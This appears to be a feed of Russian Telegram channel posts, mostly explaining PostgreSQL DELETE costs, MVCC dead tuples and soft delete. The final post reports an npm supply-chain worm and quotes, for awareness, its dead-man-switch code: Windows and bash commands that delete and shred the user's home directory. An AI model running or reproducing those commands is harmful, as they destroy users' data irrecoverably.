Бессонный кодер

И снова привет! Продолжаем наши похождения по удалениям. Мы уже обсудили две важные вещи: - DELETE — тяжёлая операция; - после DELETE в базе остаётся мусор. Возникает логичный вопрос: а как тогда удалять? И ответ на него одновременно простой и нет — soft delete. Что такое soft delete В этой методике мы не удаляем строку, а просто помечаем её как удалённую. То есть вместо:

    
        DELETE FROM messages WHERE id = 993;{}
    

мы делаем:

    
        UPDATE messages
SET deleted_at = now()
WHERE id = 993;{}
    

Для приложения запись сразу считается удалённой, но физически она остаётся в таблице. Почему это дешевле 1. Мы почти не трогаем индексы Поле deleted_at обычно не входит в основные индексы, а значит — меньше модификаций страниц и меньше дисковых операций. 2. Меньше WAL UPDATE одного поля пишет меньше данных в WAL, что снижает нагрузку на диск и упрощает репликацию. 3. Меньше блокировок и побочных эффектов Нет постоянного потока тяжёлых DELETE, система ведёт себя стабильнее под нагрузкой. Почему deleted_at, а не is_deleted Чаще всего используют именно deleted_at timestamptz, потому что: - известно, когда запись была удалена - можно откатить удаление по дате - удобно строить TTL-чистку на основе времени удаления. «Но ведь строки остаются в таблице» Да. И в этом весь смысл. Мы разделяем удаление на два этапа: 1. Быстро и дёшево убираем данные из пользовательского флоу в любой момент времени. 2. Медленно и аккуратно удаляем их физически позже — например, ночью, когда система нагружена меньше. И небольшой приятный бонус Когда пользователь пишет: «Я СЛУЧАЙНО НАЖАЛ УДАЛИТЬ, ВЕРНИТЕ» — у вас уже есть TTL-окно, в которое это можно спокойно сделать 😉

Продолжая разговор о таблицах и строках. Мы уже поняли, что DELETE — операция тяжеловатая. Но внимательные могли заметить: я писал не «удаляет строку», а «помечает строку». И это важно. Давайте разберёмся, как DELETE работает на самом деле. Когда PostgreSQL «удаляет» строку, он не вырезает её из таблицы. Он помечает её как неактуальную. Такая строка называется dead tuple — мёртвая версия строки. Она: - продолжает лежать в таблице - занимает место на странице и на диске - участвует в механизме чтения (они не возвращаются, так как отфильтровываются по visibility map, но увеличивают стоимость скана) - не удаляется без VACUUM То есть DELETE — это не «убрали», а «оставили, но пометили как мусор». Почему так происходит Причина — MVCC (многоверсионность). PostgreSQL обязан: - позволять другим транзакциям дочитать старые данные - сохранять консистентность - не блокировать чтение Цена за это — версии строк. А при DELETE появляется ещё и мёртвая версия, которая никуда не исчезает сразу. А проблема ли это вообще? Пока dead tuples мало — нет. Но при массовых операциях начинается цепная реакция. - Вы удаляете строки, но место на диске не освобождается, а иногда даже продолжает расти. - Чтение становится дороже: база проверяет видимость строк, даже если актуальных данных мало. - VACUUM начинает работать дольше и чаще. Самое неприятное PostgreSQL не уменьшает размер таблицы автоматически. Даже если VACUUM убрал большенство dead tuples — файл таблицы на диске останется прежнего размера. Чтобы реально вернуть место, нужны тяжёлые меры: - VACUUM FULL - перенос данных - партиционирование А это уже операции, которые очень не хочется выполнять на живой системе под нагрузкой. А как жить в таком жестоком мире мы поговорим в следующем посте.

Чё мы такие серьёзные, учитывая посты в канале, ко мне уже люди боятся обращаться, думая что я задушню. Обращение "дядя Бессонный" — легендарно. Давайте разбавлять напряжение и страх меня в канале. Тем более, It's wednesday my dudes. Теперь по средам мы не напрягаемся, я не пугаю вас лонгридами и мы смотрим мемчики. Не только же работать)

Итак, открываем наш цикл о сложности, о которой почти никто не думает — до тех пор, пока не становится слишком поздно. Начнём с самого простого. Вот наш запрос:

    
        DELETE FROM jobs WHERE id = 123;{}
    

Разбираем по частям: DELETE — говорим серверу: «пора удалять». FROM jobs — удалять будем в таблице jobs. WHERE id = 123 — удаляем только те строки, где id равен 123. Выглядит… ну, вообще не страшно. Обычнейшая операция. Но давайте посмотрим, что на самом деле происходит в тот момент, когда вы это делаете. 1) Поиск строки PostgreSQL должен найти нужную запись. В больших таблицах это почти всегда будет по индексу, так что шаг ещё относительно быстрый. Но это — только разогрев. 2) Установка блокировки строки DELETE ставит блокировку на саму строку. Если таблица — архив, не страшно. Если таблица активно читается/пишется, или если DELETE прилетают потоком — вы получите: задержки, очереди ожидания, эффект "узкого горлышка", который начинает душить весь поток. Неприятно, но терпимо. Пока. 3) Удаление строки (ну… почти) PostgreSQL помечает строку как удалённую. Физически она никуда не девается (про это поговорим в следующем посте). Сам шаг быстрый, тут ещё нет боли. 4) Обновление индексов — и вот здесь начинается настоящий урон База вынуждена удалить все ссылки на эту строку из: - первичного ключа, - каждого индекса таблицы, - всех составных индексов, если они есть (а они почти всегда есть). Это самая дорогая часть операции: Postgres модифицирует страницы индексов, перелопачивает их структуру, записывает изменения — это всё время, CPU и дисковые операции. DELETE на таблице с 5 индексами — это в 5+ раз больше работы, чем DELETE на таблице без индексов. 5) Запись изменений в WAL — финальный босс Всё, что произошло: - блокировки, - изменения строк, - изменения индексов, - факт удаления всё это теперь нужно записать в WAL (Write-Ahead Log). И если у вас: - высокая нагрузка, - репликация, - много DELETE подряд WAL становится бутылочным горлышком, начинаются задержки, и производительность всей системы падает. И что мы получаем Одна строка. Один DELETE. А работы... Много, если цензурно выражаться. А теперь представьте, что это не один DELETE, а тысяча. А теперь — что это тысячи DELETE каждую минуту. Если вы мессенджер, DELETE будет прилетать потоком. Если вы контроллер задач с большой нагрузкой — тоже. И вот тут DELETE превращается в довольно дорогую операцию, которая может тормозить весь ваш пайплайн… как это, собственно, и произошло у нас.

Всем приветик! Настало время понемногу рассказывать о том, с чем мы столкнулись в разработке — и что, как мне кажется, будет вам интересно. (Иронично, конечно, что пост выходит в момент, когда я снова дико занят, потому что кое-кто опять занят юридическими делами. Но ладно, не будем о грустном.) Помните, в одном из прошлых постов я говорил, что хочу попробовать поработать с ещё более жёстким хайлоадом? Ну… накаркал. Как вы знаете, в Стражнике мы модерируем стикеры (и морально готовимся к фото и гифкам). И вот, буквально на днях, нас накрыл такой вал нагрузки, что за короткое время мы обработали 30+ миллионов записей и 8 миллионов файлов. И где-то между «всё хорошо» и «This is fine» всплыла очень любопытная проблема. Как у нас устроен флоу обработки: запись задачи → процессор обрабатывает задачу → сохраняет результаты как файлы → нейронка обрабатывает эти файлы. Красиво? Да. Работает? Обычно — да. Но в тот день нейронка… простаивала. Почти полностью пустая. А очередь задач — Токио ещё далеко до такого количества записей. Мы начали разбираться, и выяснилось: у нас дико тормозит удаление строк из таблицы. Самый обычный, самый банальный запрос:

    
        DELETE FROM jobs WHERE id = $1;{}
    

То есть не нейронка, не процессинг файлов, не очереди — а DELETE. И в этот момент у меня в голове всплыло то самое вечное высказывание, которое я слышу когда Telegram в очередной раз показывает удалённое сообщение: «Мессенджеры не удаляют сообщения — они помечают их как удалённые». И я подумал: окей, если у нас DELETE начинает душить пайплайн, давайте разберёмся почему так происходит и как жить. Поэтому встречайте: новый мини-цикл постов! Мы поговорим о: - soft delete и hard delete - о том, почему PostgreSQL на самом деле не удаляет строки сразу - как устроена под капотом MVCC - почему UPDATE с флагом бывает дешевле DELETE - как мессенджеры управляют массивами данных - что вам лично с этим делать, если у вас миллионы строк и нагрузка растёт Готовьте свои СУБД, миллионы записей и немного кофе. Мы начинаем уже завтра.

Появилась информация о причине сбоя: A change made to how Cloudflare's Web Application Firewall parses requests caused Cloudflare's network to be unavailable for several minutes this morning. This was not an attack; the change was deployed by our team to help mitigate the industry-wide vulnerability disclosed this week in React Server Components. We will share more information as we have it today. Твой главный враг - ты сам

Постик для лолофд. А давайте вместе подумаем: если бы заказ Ромы дополнился и вышел бы спин-офф сезон, который ушёл от циклического иссекая с антологической структурой миров во что-то другое — то что это было бы? Может, это был бы неожиданный, тёплый и добрый slice of life про кого-то из персонажей. Или ромком с зарождением и развитием отношений вашего любимого шипа в сезоне. А может, просто road-movie по миру Точки невозврата? Буду рад почитать ваши идеи — и уверен, что другие подписчики тоже будут рады!

В своём канале "Эссергей" Сергей Шпадырев разбирает реальность по винтикам: философия и математика, теология и буддизм, психология и деконструкция мира простыми словами. Подписывайтесь, чтобы смотреть на обычные вещи под необычным углом! Перейди в канал, чтобы взглянуть на мир иначе!

Всем привет! Начинаем неделю (и ждём завоза в среду) с интересного чтения. Помните мой цикл постов о морали и геймдизайне убийства детей в играх? Так вот, идея этого цикла у меня появилась после того, как я прочитал работу Бьорна Шёблома на эту тему. Если вас заинтересовала эта тема и вы хотите глубже её изучить, то специально для вас я выложил эту статью в оригинале на своём Boosty и, страдая несколько часов, полностью перевёл её на русский. Там есть действительно интересные размышления, цитаты и референсы, которые я не мог публиковать здесь из-за риска получить пару статей за такие формулировки :D Читать тут: https://boosty.to/redguy/posts/94737a8e-df80-49c2-8b64-44d1eb5c530d?share=post_link

Никогда такого не было — и вот опять: в npm снова обнаружена supply-chain атака. В этот раз атака достаточно крупная и могла задеть большое количество рабочих станций и серверов. Вредонос работает как червь, заражая пакеты пострадавшего разработчика. Но самое интересное — он содержит dead man switch, который может удалить пользовательские данные, если каналы распространения будут перекрыты. После заражения вредонос крадёт с рабочей станции данные аутентификации для GitHub, npm, AWS, GCP и Azure и передаёт их в контролируемые хакерами GitHub-репозитории. GitLab уже выпустил очень хорошую статью с разбором кода вредоноса, подробно объясняя, что он делает: https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/ (если хотите мой перевод с пояснениями — дайте знать) Полный список заражённых пакетов можно найти здесь: https://github.com/wiz-sec-public/wiz-research-iocs/blob/main/reports/shai-hulud-2-packages.csv Что отличает эту атаку от прошлых? 1. Масштаб — более 800 заражённых пакетов, включая не только модули для организаций, но и самостоятельные пакеты, а также модули для React. 2. Dead man switch — при отсутствии доступа одновременно к GitHub и npm вредонос пытается уничтожить домашнюю директорию пользователя:

    
         // DESTRUCTION TRIGGER: No GitHub AND no NPM access
 console.log("Error 12");
 if (platform === "windows") {
   // Attempts to delete all user files and overwrite disk sectors
   Bun.spawnSync(["cmd.exe", "/c", 
     "del /F /Q /S \"%USERPROFILE%*\" && " +
     "for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
     "cipher /W:%USERPROFILE%"  // Overwrite deleted data
   ]);
 } else {
   // Attempts to shred all writable files in home directory
   Bun.spawnSync(["bash", "-c", 
     "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
     "xargs -0 -r shred -uvz -n 1 && " +  // Overwrite and delete
     "find \"$HOME\" -depth -type d -empty -delete"  // Remove empty dirs
   ]);
 }
 process.exit(0);{}
    

Как говорится: никогда такого не было — и вот опять. Stay safe.